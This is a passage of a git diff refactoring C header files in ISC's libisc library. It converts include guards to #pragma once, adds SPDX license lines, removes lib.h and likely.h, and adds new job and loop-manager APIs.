-isc_ht_count(isc_ht_t *ht);
-#endif /* ifndef ISC_HT_H */
+size_t
+isc_ht_count(const isc_ht_t *ht);
diff --git a/lib/isc/include/isc/httpd.h b/lib/isc/include/isc/httpd.h
index 6da2f29b6b..23472d0f82 100644
--- a/lib/isc/include/isc/httpd.h
+++ b/lib/isc/include/isc/httpd.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,44 +11,32 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_HTTPD_H
-#define ISC_HTTPD_H 1
+#pragma once
 
 /*! \file */
 
 #include <stdbool.h>
 
-#include <isc/event.h>
-#include <isc/eventclass.h>
 #include <isc/mutex.h>
-#include <isc/task.h>
 #include <isc/time.h>
 #include <isc/types.h>
-
-/*%
- * HTTP urls.  These are the URLs we manage, and the function to call to
- * provide the data for it.  We pass in the base url (so the same function
- * can handle multiple requests), and a structure to fill in to return a
- * result to the client.  We also pass in a pointer to be filled in for
- * the data cleanup function.
- */
-struct isc_httpdurl {
-	char *		   url;
-	isc_httpdaction_t *action;
-	void *		   action_arg;
-	bool		   isstatic;
-	isc_time_t	   loadtime;
-	ISC_LINK(isc_httpdurl_t) link;
-};
+#include <isc/url.h>
 
 #define HTTPD_EVENTCLASS ISC_EVENTCLASS(4300)
 #define HTTPD_SHUTDOWN	 (HTTPD_EVENTCLASS + 0x0001)
 
 #define ISC_HTTPDMGR_SHUTTINGDOWN 0x00000001
 
+typedef isc_result_t(isc_httpdaction_t)(
+	const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo, void *arg,
+	unsigned int *retcode, const char **retmsg, const char **mimetype,
+	isc_buffer_t *body, isc_httpdfree_t **freecb, void **freecb_args);
+
+typedef bool(isc_httpdclientok_t)(const isc_sockaddr_t *, void *);
+
 isc_result_t
 isc_httpdmgr_create(isc_nm_t *nm, isc_mem_t *mctx, isc_sockaddr_t *addr,
-		    isc_httpdclientok_t * client_ok,
+		    isc_httpdclientok_t	 *client_ok,
 		    isc_httpdondestroy_t *ondestroy, void *cb_arg,
 		    isc_httpdmgr_t **httpdmgrp);
 
@@ -60,4 +50,11 @@ isc_httpdmgr_addurl(isc_httpdmgr_t *httpdmgr, const char *url, bool isstatic,
 void
 isc_httpd_setfinishhook(void (*fn)(void));
 
-#endif /* ISC_HTTPD_H */
+bool
+isc_httpdurl_isstatic(const isc_httpdurl_t *url);
+
+const isc_time_t *
+isc_httpdurl_loadtime(const isc_httpdurl_t *url);
+
+const isc_time_t *
+isc_httpd_if_modified_since(const isc_httpd_t *httpd);
diff --git a/lib/isc/include/isc/interfaceiter.h b/lib/isc/include/isc/interfaceiter.h
index b7e59cb2d6..c696091bbb 100644
--- a/lib/isc/include/isc/interfaceiter.h
+++ b/lib/isc/include/isc/interfaceiter.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_INTERFACEITER_H
-#define ISC_INTERFACEITER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -124,5 +125,3 @@ isc_interfaceiter_destroy(isc_interfaceiter_t **iterp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_INTERFACEITER_H */
diff --git a/lib/isc/include/isc/iterated_hash.h b/lib/isc/include/isc/iterated_hash.h
index 7f6fa88be7..cb21761c96 100644
--- a/lib/isc/include/isc/iterated_hash.h
+++ b/lib/isc/include/isc/iterated_hash.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -33,4 +35,13 @@ isc_iterated_hash(unsigned char *out, const unsigned int hashalg,
 		  const int saltlength, const unsigned char *in,
 		  const int inlength);
 
+/*
+ * Private
+ */
+
+void
+isc__iterated_hash_initialize(void);
+void
+isc__iterated_hash_shutdown(void);
+
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/job.h b/lib/isc/include/isc/job.h
new file mode 100644
index 0000000000..9a44974c25
--- /dev/null
+++ b/lib/isc/include/isc/job.h
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file isc/job.h
+ * \brief The isc_job unit provides a way to schedule jobs on the
+ * currently running isc event loop. This is distinct from isc_async,
+ * which can be used to send events to another, specified loop.
+ *
+ * The unit is built around the uv_idle_t primitive and it directly schedules
+ * the callback to be run on the isc event loop.
+ */
+
+#pragma once
+
+#include <inttypes.h>
+
+#include <isc/lang.h>
+#include <isc/mem.h>
+#include <isc/refcount.h>
+#include <isc/types.h>
+#include <isc/urcu.h>
+
+typedef void (*isc_job_cb)(void *);
+typedef struct isc_job isc_job_t;
+
+struct isc_job {
+	isc_job_cb cb;
+	void	  *cbarg;
+	union {
+		struct cds_wfcq_node wfcq_node;
+		ISC_LINK(isc_job_t) link;
+	};
+};
+
+#define ISC_JOB_INITIALIZER                   \
+	{                                     \
+		.link = ISC_LINK_INITIALIZER, \
+	}
+
+ISC_LANG_BEGINDECLS
+
+void
+isc_job_run(isc_loop_t *loop, isc_job_t *job, isc_job_cb cb, void *cbarg);
+/*%<
+ * Schedule the job callback 'cb' to be run on the currently
+ * running event loop.
+ *
+ * Requires:
+ *
+ *\li	'loop' is the current loop
+ *\li	'job' is initialized
+ *\li	'cb' is a callback function, must be non-NULL
+ *\li	'cbarg' is passed to the 'cb' as the only argument, may be NULL
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/lang.h b/lib/isc/include/isc/lang.h
index 2e0a6c73d5..b7e88a5dca 100644
--- a/lib/isc/include/isc/lang.h
+++ b/lib/isc/include/isc/lang.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_LANG_H
-#define ISC_LANG_H 1
+#pragma once
 
 /*! \file isc/lang.h */
 
@@ -21,5 +22,3 @@
 #define ISC_LANG_BEGINDECLS
 #define ISC_LANG_ENDDECLS
 #endif /* ifdef __cplusplus */
-
-#endif /* ISC_LANG_H */
diff --git a/lib/isc/include/isc/lex.h b/lib/isc/include/isc/lex.h
index fdbe10b92a..2579ea4647 100644
--- a/lib/isc/include/isc/lex.h
+++ b/lib/isc/include/isc/lex.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_LEX_H
-#define ISC_LEX_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -61,11 +62,11 @@ ISC_LANG_BEGINDECLS
  * Various options for isc_lex_gettoken().
  */
 
-#define ISC_LEXOPT_EOL	     0x01 /*%< Want end-of-line token. */
-#define ISC_LEXOPT_EOF	     0x02 /*%< Want end-of-file token. */
-#define ISC_LEXOPT_INITIALWS 0x04 /*%< Want initial whitespace. */
-#define ISC_LEXOPT_NUMBER    0x08 /*%< Recognize numbers. */
-#define ISC_LEXOPT_QSTRING   0x10 /*%< Recognize qstrings. */
+#define ISC_LEXOPT_EOL	     0x0001 /*%< Want end-of-line token. */
+#define ISC_LEXOPT_EOF	     0x0002 /*%< Want end-of-file token. */
+#define ISC_LEXOPT_INITIALWS 0x0004 /*%< Want initial whitespace. */
+#define ISC_LEXOPT_NUMBER    0x0008 /*%< Recognize numbers. */
+#define ISC_LEXOPT_QSTRING   0x0010 /*%< Recognize qstrings. */
 /*@}*/
 
 /*@{*/
@@ -76,14 +77,16 @@ ISC_LANG_BEGINDECLS
  * the paren count is > 0.  To use this option, '(' and ')' must be special
  * characters.
  */
-#define ISC_LEXOPT_DNSMULTILINE 0x20 /*%< Handle '(' and ')'. */
-#define ISC_LEXOPT_NOMORE	0x40 /*%< Want "no more" token. */
-
-#define ISC_LEXOPT_CNUMBER	    0x80  /*%< Recognize octal and hex. */
-#define ISC_LEXOPT_ESCAPE	    0x100 /*%< Recognize escapes. */
-#define ISC_LEXOPT_QSTRINGMULTILINE 0x200 /*%< Allow multiline "" strings */
-#define ISC_LEXOPT_OCTAL	    0x400 /*%< Expect a octal number. */
-#define ISC_LEXOPT_BTEXT	    0x800 /*%< Bracketed text. */
+#define ISC_LEXOPT_DNSMULTILINE 0x0020 /*%< Handle '(' and ')'. */
+#define ISC_LEXOPT_NOMORE	0x0040 /*%< Want "no more" token. */
+
+#define ISC_LEXOPT_CNUMBER	    0x0080 /*%< Recognize octal and hex. */
+#define ISC_LEXOPT_ESCAPE	    0x0100 /*%< Recognize escapes. */
+#define ISC_LEXOPT_QSTRINGMULTILINE 0x0200 /*%< Allow multiline "" strings */
+#define ISC_LEXOPT_OCTAL	    0x0400 /*%< Expect a octal number. */
+#define ISC_LEXOPT_BTEXT	    0x0800 /*%< Bracketed text. */
+#define ISC_LEXOPT_VPAIR	    0x1000 /*%< Recognize value pair. */
+#define ISC_LEXOPT_QVPAIR	    0x2000 /*%< Recognize quoted value pair. */
 /*@}*/
 /*@{*/
 /*!
@@ -117,7 +120,9 @@ typedef enum {
 	isc_tokentype_initialws = 6,
 	isc_tokentype_special = 7,
 	isc_tokentype_nomore = 8,
-	isc_tokentype_btext = 8
+	isc_tokentype_btext = 9,
+	isc_tokentype_vpair = 10,
+	isc_tokentype_qvpair = 11,
 } isc_tokentype_t;
 
 typedef union {
@@ -125,7 +130,7 @@ typedef union {
 	unsigned long	 as_ulong;
 	isc_region_t	 as_region;
 	isc_textregion_t as_textregion;
-	void *		 as_pointer;
+	void		*as_pointer;
 } isc_tokenvalue_t;
 
 typedef struct isc_token {
@@ -137,7 +142,7 @@ typedef struct isc_token {
  *** Functions
  ***/
 
-isc_result_t
+void
 isc_lex_create(isc_mem_t *mctx, size_t max_token, isc_lex_t **lexp);
 /*%<
  * Create a lexer.
@@ -437,5 +442,3 @@ isc_lex_isfile(isc_lex_t *lex);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_LEX_H */
diff --git a/lib/isc/include/isc/lib.h b/lib/isc/include/isc/lib.h
deleted file mode 100644
index 4a77293c32..0000000000
--- a/lib/isc/include/isc/lib.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_LIB_H
-#define ISC_LIB_H 1
-
-/*! \file isc/lib.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-ISC_LANG_BEGINDECLS
-
-void
-isc_lib_register(void);
-/*!<
- * \brief Register the ISC library implementations for some base services
- * such as memory or event management and handling socket or timer events.
- * An external application that wants to use the ISC library must call this
- * function very early in main().
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_LIB_H */
diff --git a/lib/isc/include/isc/likely.h b/lib/isc/include/isc/likely.h
deleted file mode 100644
index 300e8be47a..0000000000
--- a/lib/isc/include/isc/likely.h
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_LIKELY_H
-#define ISC_LIKELY_H 1
-
-/*%
- * Performance
- */
-#ifdef CPPCHECK
-#define ISC_LIKELY(x)	(x)
-#define ISC_UNLIKELY(x) (x)
-#else /* ifdef CPPCHECK */
-#ifdef HAVE_BUILTIN_EXPECT
-#define ISC_LIKELY(x)	__builtin_expect(!!(x), 1)
-#define ISC_UNLIKELY(x) __builtin_expect(!!(x), 0)
-#else /* ifdef HAVE_BUILTIN_EXPECT */
-#define ISC_LIKELY(x)	(x)
-#define ISC_UNLIKELY(x) (x)
-#endif /* ifdef HAVE_BUILTIN_EXPECT */
-#endif /* ifdef CPPCHECK */
-
-#endif /* ISC_LIKELY_H */
diff --git a/lib/isc/include/isc/list.h b/lib/isc/include/isc/list.h
index 4ed1f3ca31..a168254d40 100644
--- a/lib/isc/include/isc/list.h
+++ b/lib/isc/include/isc/list.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,11 +11,23 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_LIST_H
-#define ISC_LIST_H 1
+#pragma once
 
 #include <isc/assertions.h>
 
+#define ISC_LINK_TOMBSTONE(type) ((type *)-1)
+
+#define ISC_LIST_INITIALIZER                \
+	{                                   \
+		.head = NULL, .tail = NULL, \
+	}
+#define ISC_LINK_INITIALIZER_TYPE(type)           \
+	{                                         \
+		.prev = ISC_LINK_TOMBSTONE(type), \
+		.next = ISC_LINK_TOMBSTONE(type), \
+	}
+#define ISC_LINK_INITIALIZER ISC_LINK_INITIALIZER_TYPE(void)
+
 #ifdef ISC_LIST_CHECKINIT
 #define ISC_LINK_INSIST(x) ISC_INSIST(x)
 #else /* ifdef ISC_LIST_CHECKINIT */
@@ -34,13 +48,15 @@
 	struct {                   \
 		type *prev, *next; \
 	}
-#define ISC_LINK_INIT_TYPE(elt, link, type)      \
-	do {                                     \
-		(elt)->link.prev = (type *)(-1); \
-		(elt)->link.next = (type *)(-1); \
+#define ISC_LINK_INIT_TYPE(elt, link, type)                  \
+	do {                                                 \
+		(elt)->link.prev = ISC_LINK_TOMBSTONE(type); \
+		(elt)->link.next = ISC_LINK_TOMBSTONE(type); \
 	} while (0)
-#define ISC_LINK_INIT(elt, link)   ISC_LINK_INIT_TYPE(elt, link, void)
-#define ISC_LINK_LINKED(elt, link) ((void *)((elt)->link.prev) != (void *)(-1))
+#define ISC_LINK_INIT(elt, link) ISC_LINK_INIT_TYPE(elt, link, void)
+#define ISC_LINK_LINKED_TYPE(elt, link, type) \
+	((type *)((elt)->link.prev) != ISC_LINK_TOMBSTONE(type))
+#define ISC_LINK_LINKED(elt, link) ISC_LINK_LINKED_TYPE(elt, link, void)
 
 #define ISC_LIST_HEAD(list)  ((list).head)
 #define ISC_LIST_TAIL(list)  ((list).tail)
@@ -102,8 +118,8 @@
 			ISC_INSIST((list).head == (elt));               \
 			(list).head = (elt)->link.next;                 \
 		}                                                       \
-		(elt)->link.prev = (type *)(-1);                        \
-		(elt)->link.next = (type *)(-1);                        \
+		(elt)->link.prev = ISC_LINK_TOMBSTONE(type);            \
+		(elt)->link.next = ISC_LINK_TOMBSTONE(type);            \
 		ISC_INSIST((list).head != (elt));                       \
 		ISC_INSIST((list).tail != (elt));                       \
 	} while (0)
@@ -198,4 +214,30 @@
 #define __ISC_LIST_DEQUEUEUNSAFE_TYPE(list, elt, link, type) \
 	__ISC_LIST_UNLINKUNSAFE_TYPE(list, elt, link, type)
 
-#endif /* ISC_LIST_H */
+#define ISC_LIST_MOVEUNSAFE(dest, src)    \
+	{                                 \
+		(dest).head = (src).head; \
+		(dest).tail = (src).tail; \
+		(src).head = NULL;        \
+		(src).tail = NULL;        \
+	}
+
+#define ISC_LIST_MOVE(dest, src)                \
+	{                                       \
+		INSIST(ISC_LIST_EMPTY(dest));   \
+		ISC_LIST_MOVEUNSAFE(dest, src); \
+	}
+
+/* clang-format off */
+#define ISC_LIST_FOREACH(list, elt, link)	\
+	for (elt = ISC_LIST_HEAD(list);		\
+	     elt != NULL;			\
+	     elt = ISC_LIST_NEXT(elt, link))
+/* clang-format on */
+
+/* clang-format off */
+#define ISC_LIST_FOREACH_SAFE(list, elt, link, next)						\
+	for (elt = ISC_LIST_HEAD(list), next = (elt != NULL) ? ISC_LIST_NEXT(elt, link) : NULL;	\
+	     elt != NULL;									\
+	     elt = next, next = (elt != NULL) ? ISC_LIST_NEXT(elt, link) : NULL)
+/* clang-format on */
diff --git a/lib/isc/include/isc/log.h b/lib/isc/include/isc/log.h
index 04f4771517..5a9a7a1bb3 100644
--- a/lib/isc/include/isc/log.h
+++ b/lib/isc/include/isc/log.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_LOG_H
-#define ISC_LOG_H 1
+#pragma once
 
 /*! \file isc/log.h */
 
@@ -21,7 +22,6 @@
 
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/types.h>
 
 /*@{*/
@@ -101,7 +101,7 @@ typedef enum {
  * isc_log_registercategories.
  */
 struct isc_logcategory {
-	const char * name;
+	const char  *name;
 	unsigned int id;
 };
 
@@ -109,7 +109,7 @@ struct isc_logcategory {
  * Similar to isc_logcategory, but for all the modules a library defines.
  */
 struct isc_logmodule {
-	const char * name;
+	const char  *name;
 	unsigned int id;
 };
 
@@ -138,8 +138,8 @@ typedef struct isc_logfile {
 	 * anyone would want).  st_size returned by fstat should be typedef'd
 	 * to a size large enough for the largest possible file on a system.
 	 */
-	isc_offset_t maximum_size;
-	bool	     maximum_reached; /*%< Private. */
+	off_t maximum_size;
+	bool  maximum_reached; /*%< Private. */
 } isc_logfile_t;
 
 /*%
@@ -159,9 +159,9 @@ typedef union isc_logdestination {
  * definitions with indexes into its isc_logcategory structure corresponding to
  * the order of the names.
  */
-LIBISC_EXTERNAL_DATA extern isc_logcategory_t isc_categories[];
-LIBISC_EXTERNAL_DATA extern isc_log_t *	      isc_lctx;
-LIBISC_EXTERNAL_DATA extern isc_logmodule_t   isc_modules[];
+extern isc_logcategory_t isc_categories[];
+extern isc_log_t	*isc_lctx;
+extern isc_logmodule_t	 isc_modules[];
 /*@}*/
 
 /*@{*/
@@ -169,8 +169,9 @@ LIBISC_EXTERNAL_DATA extern isc_logmodule_t   isc_modules[];
  * Do not log directly to DEFAULT.  Use another category.  When in doubt,
  * use GENERAL.
  */
-#define ISC_LOGCATEGORY_DEFAULT (&isc_categories[0])
-#define ISC_LOGCATEGORY_GENERAL (&isc_categories[1])
+#define ISC_LOGCATEGORY_DEFAULT	  (&isc_categories[0])
+#define ISC_LOGCATEGORY_GENERAL	  (&isc_categories[1])
+#define ISC_LOGCATEGORY_SSLKEYLOG (&isc_categories[2])
 /*@}*/
 
 #define ISC_LOGMODULE_SOCKET	(&isc_modules[0])
@@ -442,7 +443,7 @@ isc_log_createchannel(isc_logconfig_t *lcfg, const char *name,
 isc_result_t
 isc_log_usechannel(isc_logconfig_t *lcfg, const char *name,
 		   const isc_logcategory_t *category,
-		   const isc_logmodule_t *  module);
+		   const isc_logmodule_t   *module);
 /*%<
  * Associate a named logging channel with a category and module that
  * will use it.
@@ -850,5 +851,3 @@ isc_log_setforcelog(bool v);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_LOG_H */
diff --git a/lib/isc/include/isc/loop.h b/lib/isc/include/isc/loop.h
new file mode 100644
index 0000000000..ba049ae1e3
--- /dev/null
+++ b/lib/isc/include/isc/loop.h
@@ -0,0 +1,218 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <inttypes.h>
+
+#include <isc/job.h>
+#include <isc/lang.h>
+#include <isc/mem.h>
+#include <isc/refcount.h>
+#include <isc/types.h>
+
+typedef void (*isc_job_cb)(void *);
+
+#undef ISC_LOOP_TRACE
+
+ISC_LANG_BEGINDECLS
+
+void
+isc_loopmgr_create(isc_mem_t *mctx, uint32_t nloops, isc_loopmgr_t **loopmgrp);
+/*%<
+ * Create a loop manager supporting 'nloops' loops.
+ *
+ * Requires:
+ *\li	'nloops' is greater than 0.
+ */
+
+void
+isc_loopmgr_destroy(isc_loopmgr_t **loopmgrp);
+/*%<
+ * Destroy the loop manager pointed to by 'loopmgrp'.
+ *
+ * Requires:
+ *\li	'loopmgr' points to a valid loop manager.
+ */
+
+void
+isc_loopmgr_shutdown(isc_loopmgr_t *loopmgr);
+/*%<
+ * Request shutdown of the loop manager 'loopmgr'.
+ *
+ * This will stop all signal handlers and send shutdown events to
+ * all active loops. As a final action on shutting down, each loop
+ * will run the function (or functions) set by isc_loopmgr_teardown()
+ * or isc_loop_teardown().
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ */
+
+void
+isc_loopmgr_run(isc_loopmgr_t *loopmgr);
+/*%<
+ * Run the loops in 'loopmgr'. Each loop will start by running the
+ * function (or functions) set by isc_loopmgr_setup() or isc_loop_setup().
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ */
+
+void
+isc_loopmgr_pause(isc_loopmgr_t *loopmgr);
+/*%<
+ * Send pause events to all running loops in 'loopmgr' except the
+ * current one. This can only be called from a running loop.
+ * All the paused loops will wait until isc_loopmgr_resume() is
+ * run in the calling loop before continuing.
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ *\li	We are in a running loop.
+ */
+
+void
+isc_loopmgr_resume(isc_loopmgr_t *loopmgr);
+/*%<
+ * Send resume events to all paused loops in 'loopmgr'. This can
+ * only be called by a running loop (which must therefore be the
+ * loop that called isc_loopmgr_pause()).
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ *\li	We are in a running loop.
+ */
+
+uint32_t
+isc_loopmgr_nloops(isc_loopmgr_t *loopmgr);
+
+isc_job_t *
+isc_loop_setup(isc_loop_t *loop, isc_job_cb cb, void *cbarg);
+isc_job_t *
+isc_loop_teardown(isc_loop_t *loop, isc_job_cb cb, void *cbarg);
+/*%<
+ * Schedule actions to be run when starting, and when shutting down,
+ * one of the loops in a loop manager.
+ *
+ * Requires:
+ *\li	'loop' is a valid loop.
+ *\li	The loop manager associated with 'loop' is paused or has not
+ *	yet been started.
+ */
+
+void
+isc_loopmgr_setup(isc_loopmgr_t *loopmgr, isc_job_cb cb, void *cbarg);
+void
+isc_loopmgr_teardown(isc_loopmgr_t *loopmgr, isc_job_cb cb, void *cbarg);
+/*%<
+ * Schedule actions to be run when starting, and when shutting down,
+ * *all* of the loops in loopmgr.
+ *
+ * This is the same as running isc_loop_setup() or
+ * isc_loop_teardown() on each of the loops in turn.
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ *\li	'loopmgr' is paused or has not yet been started.
+ */
+
+isc_mem_t *
+isc_loop_getmctx(isc_loop_t *loop);
+/*%<
+ * Return a pointer to the a memory context that was created for
+ * 'loop' when it was initialized.
+ *
+ * Requires:
+ *\li	'loop' is a valid loop.
+ */
+
+isc_loop_t *
+isc_loop_main(isc_loopmgr_t *loopmgr);
+/*%<
+ * Returns the main loop for the 'loopmgr' (which is 'loopmgr->loops[0]',
+ * regardless of how many loops there are).
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ */
+
+isc_loop_t *
+isc_loop_current(isc_loopmgr_t *loopmgr);
+/*%<
+ * Returns the loop object from which the function has been called,
+ * or NULL if not called from a loop.
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ */
+
+isc_loop_t *
+isc_loop_get(isc_loopmgr_t *loopmgr, uint32_t tid);
+/*%<
+ * Return the loop object associated with the 'tid' threadid
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ *\li   'tid' is smaller than number of initialized loops
+ */
+
+#
+
+#if ISC_LOOP_TRACE
+#define isc_loop_ref(ptr)   isc_loop__ref(ptr, __func__, __FILE__, __LINE__)
+#define isc_loop_unref(ptr) isc_loop__unref(ptr, __func__, __FILE__, __LINE__)
+#define isc_loop_attach(ptr, ptrp) \
+	isc_loop__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define isc_loop_detach(ptrp) \
+	isc_loop__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(isc_loop);
+#else
+ISC_REFCOUNT_DECL(isc_loop);
+#endif
+/*%<
+ * Reference counting functions for isc_loop
+ */
+
+void
+isc_loopmgr_blocking(isc_loopmgr_t *loopmgr);
+void
+isc_loopmgr_nonblocking(isc_loopmgr_t *loopmgr);
+/*%<
+ * isc_loopmgr_blocking() stops the SIGINT and SIGTERM signal handlers
+ * during blocking operations, for example while waiting for user
+ * interaction; isc_loopmgr_nonblocking() restarts them.
+ *
+ * Requires:
+ *\li	'loopmgr' is a valid loop manager.
+ */
+
+isc_loopmgr_t *
+isc_loop_getloopmgr(isc_loop_t *loop);
+/*%<
+ * Return the loopmgr associated with 'loop'.
+ *
+ * Requires:
+ *\li	'loop' is a valid loop.
+ */
+
+isc_time_t
+isc_loop_now(isc_loop_t *loop);
+/*%<
+ * Returns the start time of the current loop tick.
+ *
+ * Requires:
+ *
+ * \li 'loop' is a valid loop.
+ */
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/magic.h b/lib/isc/include/isc/magic.h
index a2fbe931c5..5e2f1848c8 100644
--- a/lib/isc/include/isc/magic.h
+++ b/lib/isc/include/isc/magic.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_MAGIC_H
-#define ISC_MAGIC_H 1
-
-#include <isc/likely.h>
+#pragma once
 
 /*! \file isc/magic.h */
 
@@ -26,10 +25,7 @@ typedef struct {
  * The intent of this is to allow magic numbers to be checked even though
  * the object is otherwise opaque.
  */
-#define ISC_MAGIC_VALID(a, b)       \
-	(ISC_LIKELY((a) != NULL) && \
-	 ISC_LIKELY(((const isc__magic_t *)(a))->magic == (b)))
+#define ISC_MAGIC_VALID(a, b) \
+	((a) != NULL && ((const isc__magic_t *)(a))->magic == (b))
 
 #define ISC_MAGIC(a, b, c, d) ((a) << 24 | (b) << 16 | (c) << 8 | (d))
-
-#endif /* ISC_MAGIC_H */
diff --git a/lib/isc/include/isc/managers.h b/lib/isc/include/isc/managers.h
index 3b3227b09e..9b7e0311ea 100644
--- a/lib/isc/include/isc/managers.h
+++ b/lib/isc/include/isc/managers.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,20 +13,17 @@
 
 #pragma once
 
+#include <isc/loop.h>
 #include <isc/netmgr.h>
 #include <isc/result.h>
-#include <isc/socket.h>
-#include <isc/task.h>
 #include <isc/timer.h>
 
 typedef struct isc_managers isc_managers_t;
 
-isc_result_t
-isc_managers_create(isc_mem_t *mctx, size_t workers, size_t quantum,
-		    size_t sockets, isc_nm_t **netmgrp,
-		    isc_taskmgr_t **taskmgrp, isc_timermgr_t **timermgrp,
-		    isc_socketmgr_t **socketmgrp);
+void
+isc_managers_create(isc_mem_t **mctx, uint32_t workers,
+		    isc_loopmgr_t **loopmgrp, isc_nm_t **netmgrp);
 
 void
